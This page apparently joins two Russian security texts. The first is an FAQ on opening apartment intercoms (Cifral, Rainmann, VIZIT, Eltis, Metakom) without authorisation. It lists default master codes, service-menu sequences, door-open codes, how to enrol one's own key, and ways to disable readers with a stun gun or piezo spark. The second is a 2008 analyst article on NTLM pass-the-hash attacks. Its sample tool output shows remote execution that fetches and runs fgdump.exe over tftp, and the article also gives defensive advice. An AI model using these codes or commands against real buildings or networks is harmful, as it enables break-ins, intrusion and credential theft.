IT-Безопасность: FAQ по открытию домофонов

Вопрос: Как сделать клон трубки? 
Ответ: Открой корпус трубы, там стоит несколько джамперов, которые устанавливают номер квартиру, в которой установлена трубка (актуально для Rainkman). 

Вопрос: Как войти в сервисное меню домофона Cifral? 
Ответ: Нажать любую цифру и держать до появления надписи, затем ввести инженерный код. 

Вопрос: Как войти в системное меню домофона Cifral? 
Ответ: Нажать звонок и держать до появления надписи, затем ввести инженерный код. 

Вопрос: Как войти в сервисное меню домофона Rainmann (Rainmann 2000 etc. и другие)? 
Ответ: Нажимаешь кнопочку «ключ» и вводишь 9 8 7 6 5 4 , должен послышаться двойной звуковой сигнал. Затем вводи 1 2 3 4 5 6 , появится буква P. Ты вошел в систему управления домофоном. Теперь запоминай: 
1 — Расширенные настройки домофона, советую самому там не копаться, а просто войти в эту менюшку, и идти попивать пиво неподалеку. Озадаченные жильцы сделают все за вас. 
2 — Обычные настройки домофона. 
3 — Подача сигнала. 
4 — Блокировка двери. 
5 — ???? 
6 — ???? (домофон виснет) 
7 — ???? 
8 — Открыть дверь. 
9 — ???? 
Это действует если только настройки не трогали, вместо 987654 может быть другой код. 
Пашет на домофонах где на экранчике точка стоит слева. 

Вопрос: Как войти в сервисное меню домофона VIZIT? 
Ответ: #999-пикнет 2 раза-(мастер код, по умолчанию 1234)-пикнет 1 раз 
если код не правильный то пиликнет двух тональным сигналом 
значения кнопок: 
1 — ??? 
2 — Установка индивидуальных кодов для квартир. 
3 — Программирование ключей для входа. 
4 — Стирание ключей из памяти. 
5 — ??? 
6 — ??? 
7 — ??? 
8 — ??? 
9 — ??? 
* — Выход из режима. 
# — Подтверждение установки. 

Вопрос:Как войти в сервисное меню домофона Eltis? 
Ответ: Также как в Cifral. 

Вопрос: Как войти в сервисное меню домофона МЕТАКОМ? 
Ответ: На клавиатуре набирай 65535 В (или #) далее 1234 В (или #) если все нормально то на дисплее появится [ ]. 

Вопрос: Как на время вывести из строя домофон с ключом-таблеткой? 
Ответ: Берем пьезу из электрической зажигалки, и даем разряд в приемник ключа, помогает редко, лучше использовать шокер. 

Вопрос: Как обнулить память домофона? 
Ответ: Для этого надо найти откуда запитан домофон, обычно в щитке на первом этаже, там есть небольшой блок, он обычно очень хорошо спрятан, обнулить его просто дайте на 1, 6, 8 и 12м когу +1,5 вольта а -на 2 ногу и память домофона будет чиста как у младенца. 
Но специалист восстановит это за 5 минут. 
Также там есть COM-порт, но как его использовать неизвестно. 

Вопрос: Как открыть дверь домофона Cifral? 
Ответ: Если в подъезде есть квартиры с номерами 100, 200, 300, 400 и т.д., то можно попробовать ввести: 
звонок 100 звонок 7272 
звонок 200 звонок 7272 
звонок 300 звонок 7272 
звонок 400 звонок 7272 
звонок 500 звонок 7272 
звонок 600 звонок 7272 
звонок 700 звонок 7272 
звонок 800 звонок 7272 
звонок 900 звонок 7272 
звонок 100 звонок 7273 
звонок 200 звонок 7273 
звонок 300 звонок 7273 
звонок 400 звонок 7273 
звонок 500 звонок 7273 
звонок 600 звонок 7273 
звонок 700 звонок 7273 
звонок 800 звонок 7273 
звонок 900 звонок 7273 

Вопрос: Как еще можно открыть Cifral? 
Ответ: ВЫЗОВ 41 ВЫЗОВ 1410 
Или просто ввести 07054. Иногда помогает. 

Вопрос: Как можно открыть домофон Eltis? 
Ответ: B 100 B 7273 
В 100 В 2323 
Также можно попробовать варианты от Cifral. 

Вопрос: Как открыть дверь домофона VIZIT? 
Ответ: Если стандартные настройки не меняли то *#4230 и дверь откроется. 
Еще иногда помогает 12#345. 

Вопрос: Как войти в системный режим домофона VIZIT? 
Ответ: Для входа в системный режим нужно соединить выводы кабеля «ПРОГРАММИРОВАНИЕ» чаще всего для этого нужно снимать весь блок с двери, потому как данные выводы не выводят в щиток. 

Вопрос: Чем отличаются сервисный и системный режим? 
Ответ: Сервисный и системный режимы разные. Если снять блок с двери и включить системный режим то можно поменять все. Даже мастер код для входа в системный режим. 

Вопрос: Как записать в память домофона VIZIT свой ключ? 
Ответ: В режиме программирования нажмите 3, затем номер хаты, приложите ключ, нажмите # а потом * 

Вопрос: Какие коды по умолчанию ставят в домофоны? 
Ответ: 1234, 6767, 3535, 9999, 12345, 0000, 11639 (VIZIT). 

Вопрос: Как открыть МЕТАКОМ? 
Ответ: В сервисном меню нажать 8. Также помогает В (или #) 1234567. 
Ответ: 65535-В-1234-В-8 или В-1-В-5702 или В-6-В-4568. 
А: Нажать вызов, потом номер первой квартиры в подъезде, снова вызов(высветится "COD"), потом 5702... Дверь открыта! 

Вопрос: Сколько мастер ключей может быть у домофона МЕТАКОМ? 
Ответ: Только 1. 

Вопрос: Можно ли ключи от домофона магнитом убить, или хоть покалечить? 
Ответ: Нет, нельзя. 

Вопрос: Как сменить системный код в домофоне Cifral? 
Ответ: В режиме программирования 1 (p----) и вводи новый пасс. 

Вопрос: Существуют спец-коды домофонов для открытия дверей спец-службами? 
Ответ: Нет, таких кодов нет. 

Вопрос: Как записать в память домофона Cifral свой ключ? 
Ответ: В сервисном режиме нажать 5,затем ввести номер квартиры, домофон напишет TOUCH прикладываем ключ — он в памяти. 

Вопрос: Как стереть ключ-таблетку из памяти домофона Cifral? 
Ответ: В сервисном режиме нажать 5, затем ввести номер квартиры, на которую подключен ключ, затем нажать 9. 

Вопрос: Как записать в память домофона Cifral оптический (плоский с дырками) ключ? 
Ответ: В системном режиме нажать 5, затем ввести номер ячейки ключа (1, 2, 3), вставить ключ, нажать на звонок. 

Вопрос: Как сменить общий код домофона Cifral? 
Ответ: В сервисном меню нажмите 2, затем введите новый код, если код короче 4 цифр, то после ввода нажмите звонок. 

Вопрос: Как сменить индивидуальный код домофона Cifral? 
Ответ: В сервисном меню нажмите 3, затем номер квартиры, звонок, введите новый код, звонок, затем пойдет вызов, абонент должен будет дважды нажать на кнопку звонка. 

Вопрос: Как отключить абонента домофона Cifral? 
Ответ: В сервисном меню нажмите 4, затем 0, затем номер квартиры, затем звонок. 

Вопрос: Как подключить абонента, которого отключили от домофона Cifral? 
Ответ: В сервисном меню нажмите 4, затем 1, затем номер квартиры, затем звонок. 

Вопрос: Какие настройки по умолчанию домофона Cyfral CCD-2094M? 
Ответ: Код доступа в режим изменения параметров и настроек 123456. 
Общий код 1234. 
Номер таблицы индивидуальных кодов 000. 
Номер первого абонента 1. 
Кол-во абонентов, подлежащих обслуживанию 100. 
Длительность сигнала Z 1. 
Режим пользования общим кодом ВКЛ. 
Режим пользования индивидуальным кодами ВКЛ. 
Абоненты ВКЛ/ВЫКЛ. 
в список обслуживания Звуковой сигнал №3. 
Оповещение абонента об открывании двери индивидуальным ключом ВКЛ. 

Вопрос: На домофоне VIZIT клавиш * и # нет, что делать? 
Ответ: Есть C и K. С — * K — #. 

Вопрос: Существует ли системное меню у старых домофонов (с ключом-«палкой»)? 
Ответ: Нет. 

Вопрос: Как еще можно открыть двери домофонов? 
Ответ: Попробуйте закоротить лампочку на подъездном освещении, иногда помогает. 
Ответ: Одну ногу ставим туда где открывается дверь и сильно тянем за ручку при рывке дверь открывается. 
Ответ: Прижимаешь любой ключ от другого домофона и вводишь 8082 ключ 5454 
Ответ: На рабочем домофоне горит одна точка. Затем нажми на кнопку с изображением ключа, на мониторе появится "---", вводи 987654 (слышится двойной звуковой сигнал), затем вводи 123456. Если на мониторе появилась буква "Р", значит, ты благополучно взял домофон под свой контроль. Теперь ты должен определить цель своей работы. Если тебе просто нужно открыть данную дверь, нажимай цифру "8", и дверь откроется. 

Вопрос: Как открыть домофоны с сенсорной клавиатурой 
Ответ: Пока зима, на домофоны с сенсорной клавиатурой действует такая штучка - берем нормальный комок снега, и прислоняем к клавиатуре Ждем, пока на дисплее появится надпись "Err" , заходим 

Вопрос: Как открыть VIZIT БВД-342 
Ответ: В меню я вошел (набрал #999) на экране появляется 1--2 нажимаешь 1 вроде входит.

источник 

IT-Безопасность: NTLM не умер, он просто так пахнет

05 ноября, 2008

Антон Карпов

Аналитик по информационной безопасности Digital Security

a.karpov@dsec.ru

http://www.dsec.ru

О проблемах безопасности протоколов LM/NTLM сказано немало. Поэтому для того, чтобы в очередной раз поднимать эту тему, нужны некоторые причины. И такие причины есть. Во-первых, опыт проведения аудита в крупных корпоративных сетях наглядно показывает: по состоянию на конец 2008 года даже старый LanManager кое-где еще живее всех живых. Иными словами, данная статья, как и приведенная в статье утилита, никогда не были бы написаны, если бы их актуальность не была подтверждена регулярной практикой. Вторая причина является следствием первой и заключается в регулярном появлении на известных конференциях по безопасности (BlackHat, Defcon) материалов на заданную тематику, как и различного вида программных средств для проведения атак на NTLM-хэши. Поэтому скептикам, приготовившим аргумент в виде слова "Kerberos", рекомендуется глубоко вдохнуть и пойти проверить свою Windows-сеть на наличие описываемых проблем.

Немного скучной теории. Аутентификация и пароли

Чтобы понять, какую роль протокол NTLM играет в аутентификационном процессе на Windows-машине, рассмотрим, что же происходит после нажатия заветной комбинации Ctrl+Alt+Delete во время интерактивного входа в систему. Процесс Winlogon, а точнее, графическая библиотека GINA (Graphical Identification and Authentication) принимает введенные пользователем аутентификационные данные (имя пользователя и пароль, PIN-код от смарт-карты и т.п.) и инициирует обращение в LSA (Local Security Authority). В случае осуществления локального входа, LSA выполняет обращение в локальную SAM-базу для аутентификации пользователя и возвращает процессу Winlogon токен доступа. После этого, в случае успешной аутентификации, пользователь получает доступ к графической оболочке.

В случае использования доменной структуры пользователя аутентифицирует не локальная LSA, а LSA на контроллере домена, хранящего учетные записи доменных пользователей в Active Directory. Для удаленного взаимодействия этих подсистем (т.е. для аутентификации пользователя или компьютера по сети) используются т.н. аутентификационные пакеты (authentication package), реализующие различные протоколы аутентификации. Таковых всего два: NTLM (библиотека MSV1_0.dll) и Kerberos (библиотека Kerberos.dll). Начиная с Windows 2000, для совершения процедуры доменной аутентификации по умолчанию используется протокол Kerberos (строго говоря, начиная с Windows 2000 LSA по умолчанию выбирает пакет Kerberos вне зависимости от вида входа в систему, но этот аутентификационный пакет не умеет выполнять локальную аутентификацию, и в случае локального входа выполняется fallback на NTLM для обращения к SAM-базе с хэшами паролей).

Пароли в Windows шифруются одним из двух возможных способов: LM и NTLM-хэш. Слабости обоих алгоритмов общеизвестны: отсутствие т.н. «соли» (salt) для рандомизации выходной последовательности (строго говоря, протокол LM использует фиксированное значение «соли» - «KGS!@#$%», NTLM же представляет собой просто MD4-хэш пароля пользователя), что открывает возможность использования Rainbow-таблиц для подбора пароля. Кроме того, LM-хэш является крайне нестойким (максимальная длина пароля составляет 14 символов, недостающие символы дополняются нулями, а затем пароль делится на две части по 7 символов, которые шифруются отдельно с помощью алгоритма DES) и вскрывается с использованием современных вычислительных мощностей за конечное время.

В Windows штатно присутствует три механизма удаленной аутентификации, реализованных в аутентификационных пакетах NTLM и Kerberos, о которых сказано выше. Это LM/NTLM challenge-response, NTLMv2 challenge-response и Kerberos. Недостатки первых двух также общеизвестны: для аутентификации доменным пользователем совершенно необязательно иметь его пароль, так как в процедуре аутентификации используется только хэш пароля учетной записи пользователя. Именно на этом свойстве протокола построены атаки вида Pass-the-Hash, первое упоминание о которых датируется аж 1997 годом.

Зачем мне все это в 2008 году?

Наконец, мы подходим к главной причине, по которой в этой статье собраны материалы более чем десятилетней практики security-сообщества, и имя ей – обратная совместимость. Так, только лишь в Windows Vista / Windows Server 2008 генерация LM-хэшей по умолчанию отключена (опция NoLmHash в разделе реестра HKLM\SYSTEM\CurrentControlSet\Control\Lsa), все предыдущие версии ОС, включая самый распространенный на сегодняшний день в корпоративной среде Windows Server 2003, по умолчанию генерируют и хранят LM-хэши для паролей, длина которых меньше 14 символов. Однако это не самое страшное. Гораздо более неприятен следующий факт: не смотря на то, что все серверные версии Windows, начиная с Server 2000, по умолчанию используют Kerberos для удаленной аутентификации пользователя или ресурса, протокол LM/NTLM challenge-response все еще поддерживается и может быть использован, если клиент инициирует такое соединение. За эту поддержку отвечает ключ реестра LmCompatibilityLevel в разделе реестра HKLM\SYSTEM\CurrentControlSet\Control\Lsa, который может принимать целочисленное значение от 0 до 5. В Windows Server 2003 этот параметр по умолчанию имеет значение 2, в Windows Vista / Server 2003 – 3, и для контроллера домена означает возможность использования клиентом LM/NTLM или NTLMv2 challenge-response протокола для удаленной аутентификации.

Неудивительно, что в настоящее время широко распространены утилиты для «игр» с NTLM-хэшами, а сама задача получения хэша является более чем актуальной. Еще бы, ведь даже в сети, построенной на самой современной на текущий день серверной платформе Windows Server 2008, получение хотя бы одного хэша учетной записи, обладающей административными правами на каком-либо сервере, может привести к получению удаленного административного доступа к контроллеру домена, а значит, и ко всем серверам и рабочим станциям в домене. Этому способствует сильная связанность в корпоративных сетях: опыт проведения аудитов показывает, что ситуация, при которой обнаруженная на одном сервере учетная запись подойдет, по крайней мере, на еще один сервер, является более чем типичной. Получив, таким образом, доступ к новому серверу и сняв с него новые хэши паролей, есть большая вероятность инициировать лавинный процесс, который рано или поздно приведет к получению искомого: учетной записи администратора домена. При этом стоит отметить, что стойкость пароля не имеет никакого значения, ведь ничего не нужно расшифровывать – ни с помощью Rainbow-таблиц, ни «грубой силой».

Как получить хэши?

В «чистом виде» хэши можно получить следующими способами:

- Из AD-хранилища (в случае контроллера домена);

- Из локальной SAM-базы;

- Из кэша LSA, во время активной сессии пользователя.

Если с первыми двумя все понятно, то третий не стоит путать с т.н. “cached logon accounts”, которые хранятся в системе на случай необходимости входа в домен при недоступном контроллере. Во время активного локального или удаленного сеанса работы (например, когда администратор подключается по RDP для выполнения административных задач) LSA хранит активные credentials в памяти, откуда они могут быть получены с помощью таких утилит как whosthere.exe из набора Psh-toolkit (http://oss.coresecurity.com/projects/pshtoolkit.htm) или gsecdump.exe (http://www.truesec.com).

Существуют также альтернативные способы получения NTLM-хэшей, например, довольно эффективно показывает себя в корпоративных сетях перехват хэшей при совершении клиентским браузером NTLM HTTP-аутентификации. Летом 2008 года на конференции DefCon была продемонстрирована утилита Squirtle (http://code.google.com/p/squirtle/) для проведения подобных атак. Однако NTLM-хэш пароля в случае HTTP-аутентификации передается в сообщении (Type 3 message) в зашифрованном случайным значением (nonce) виде и не подходит для немедленного использования, требуя предварительной расшифровки. Поэтому данные методы, хоть и являются весьма интересными, выходят за рамки данной статьи.

PtH-Pwner

Существует большое количество утилит, которые позволяют подменять права текущего пользователя (credentials), используя полученный NTLM-хэш. Самые популярные – это iam.exe из вышеупомянутого набора Psh-toolkit и msvctl.exe от TrueSec. Они позволяют «представляться» в Windows-сети от имени скомпрометированной учетной записи для получения доступа к сетевым ресурсам. Однако у них имеется два недостатка. Первый – их использование ограничено win32-платформой, второй – обе эти утилиты слабо подходят для автоматизации рутинных задач. В то же время практика проведения аудитов защищенности не раз требовала легкого и удобного решения задач вида «на какие еще машины подойдет обнаруженный NTLM-хэш со взломанного сервера», «пройтись по взломанным серверам и добавить учетную запись, вытащить новые хэши паролей» и т.п. Для автоматизации таких задач был написан скрипт на языке shell, по сути являющийся удобной оболочкой для утилиты winexe (линуксовый аналог psexec), пропатченной для возможности аутентификации с помощью NTLM-хэша (http://www.foofus.net/jmk/passhash.html). За отсутствием богатой фантазии у автора скрипт назван pth-pwner и доступен по адресу http://www.dsec.ru/dsecrg/releases/pth-pwner.tar.gz.

Скрипт функционирует под ОС Linux и может работать в двух режимах. В первом он принимает в качестве аргументов имя пользователя (локального или доменного), хэш его пароля и адрес сервера (или подсети). Опционально может быть указан файл, в котором построчно указаны команды для выполнения на сервере (по умолчанию выполняется команда ipconfig), список хостов также может быть указан в файле и передан в качестве аргумента. После запуска утилита пытается аутентифицироваться переданным хэшем на указанных серверах и выполнить заданную команду.

$ ./pth-pwner -u CORP\\domadmin -s 64DFE7...F74F9B:ADF5F3...6BB49AD2 -h 10.11.0.6

[+] PtH-Pwner v. 1.0 (Aug 2008)

Running with the following credentials:
Username to login: domadmin
Domain: CORP
SMBHASH to use: 64DFE7...F74F9B:ADF5F3...6BB49AD2
Host/Subnet to scan: 10.11.0.6
Command to execute: ipconfig

[+] attacking 10.129.11.6

Windows IP Configuration

Ethernet adapter Local Area Connection 2:

Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 10.11.0.6
Subnet Mask . . . . . . . . . . . : 255.255.254.0
Default Gateway . . . . . . . . . : 10.11.0.7
10.11.0.6 [CORP]: SUCCESS!

All done. 1 scanned, 1 succeeded

$ ./pth-pwner.sh -u LocAdmin -s 64DFE71...F74F9B:ADF5...116BB49AD2 -f hosts.txt -c commands.txt

[+] PtH-Pwner v. 1.0 (Aug 2008)

Running with the following credentials:
Username to login: LocAdmin
SMBHASH to use: 64DFE71...F74F9B:ADF5...116BB49AD2
Reading hosts from hosts.txt
Reading commands from commands.txt

[+] attacking 10.11.0.11

>>>>>>>> attempting to execute [tftp -i 10.11.0.141 GET fgdump.exe] on 10.11.0.11
Transfer successful: 974848 bytes in 1 second, 974848 bytes/s
10.11.0.11 [SERV11]: executing [tftp -i 10.11.0.141 GET fgdump.exe] -> SUCCESS!
[+] attacking 10.11.0.20
>>>>>>>> attempting to execute [tftp -i 10.11.0.141 GET fgdump.exe] on 10.11.0.20
Transfer successful: 974848 bytes in 1 second, 974848 bytes/s
10.11.0.20 [SERV20]: executing [tftp -i 10.11.0.141 GET fgdump.exe] -> SUCCESS!
 ...

Для еще большей автоматизации процесса можно воспользоваться вторым режимом работы скрипта. Предположим, у нас есть результат работы утилиты gsecdump.exe с какого-либо сервера. Передав при помощи ключа -g на вход скрипту вместо одного NTLM-хэша файл с хэшами в формате gsecdump, мы заставим его проверить каждую присутствующую в файле запись на возможность аутентификации на заданных хостах. Очевидно, что, передав в качестве команды закачивание и выполнение на скомпрометированных хостах утилиты gsecdump.exe, мы можем инициировать тот самый лавинный эффект, который приведет к взлому все большего и большего количества хостов на каждой итерации.

Как защититься?

Очевидно, что никакая парольная политика от описанных атак не спасет, так пароль не подвергается расшифровке, а значит, его стойкость не имеет никакого значения. Переход на двухфакторные методы аутентификации, как ни странно, тоже не исправит ситуацию. NTLM слишком «глубоко вшит» в систему и отключить его полностью не представляется возможным. Так, в Windows 2000 при переходе на аутентификацию по смарт-картам хэш пароля все равно хранится в базе без изменений. В Windows 2003 пароль меняется на случайную последовательность, но, как сказано выше, роли это никакой не играет.

Специалисты из Compass Security AG провели любопытное исследование (http://www.csnc.ch/static/download/Hash_Injection_Attack_E.pdf), в котором попытались как полностью деактивировать аутентификационный пакет NTLM в реестре, так и физически удалить библиотеку MSV1_0.dll с рабочей станции под управлением Windows XP в домене. В обоих случаях ни локальный, ни доменный вход систему стал невозможен.

Все типовые рекомендации (отключение хранения LM-хэшей на серверах и рабочих станциях, выставление параметра LmCompatibilityLevel в максимально возможное значение, отключение локального хранения кэшированных аккаунтов и последующая очистка кэша и т.п.) не являются панацеей от проблемы.

В какой-то степени помочь может принудительное шифрование трафика и аутентификация хостов с помощью IPSec, для невозможности использования хэша с недоверенных систем. Для этого необходимо настроить соответствующие политики на контроллере домена.

Выводы

Алгоритм LanManager (LM) был разработан в начале 90-х годов прошлого века. Операционная система Windows Server 2003 вышла тринадцать лет спустя. И тем не менее, в ней все еще хранились пароли пользователей, зашифрованные с применением этого алгоритма. Виновницей данного факта, как и того, что описанные в статье атаки далеко не первой свежести отлично работают в современных Windows-сетях, является она - та, которая вызывает скрип зубов у разработчиков и крики отчаяния пользователей. Имя ей - backward compatibility.

Ссылки по теме:

http://technet.microsoft.com/ru-ru/magazine/cc160954(en-us).aspx
http://technet.microsoft.com/en-us/library/cc780332.aspx
http://www.securitylab.ru/contest/212100.php
http://oss.coresecurity.com/projects/pshtoolkit.htm
http://www.foofus.net/jmk/passhash.html
http://www.truesec.com/PublicStore/catalog/Downloads,223.aspx
http://www.csnc.ch/static/download/Hash_Injection_Attack_E.pdf
http://truesecurity.se/blogs/murray/archive/2007/03/16/why-an-exposed-lm-ntlm-hash-is-comparable-to-a-clear-text-password.aspx
http://www.innovation.ch/personal/ronald/ntlm.html
http://davenport.sourceforge.net/ntlm.html
http://www.foofus.net/fizzgig/fgdump/
http://carnal0wnage.blogspot.com/2008/03/msvctl-pass-hash-action.html
http://code.google.com/p/squirtle/
http://grutztopia.jingojango.net/

Источник: http://www.securitylab.ru/analytics/362448.php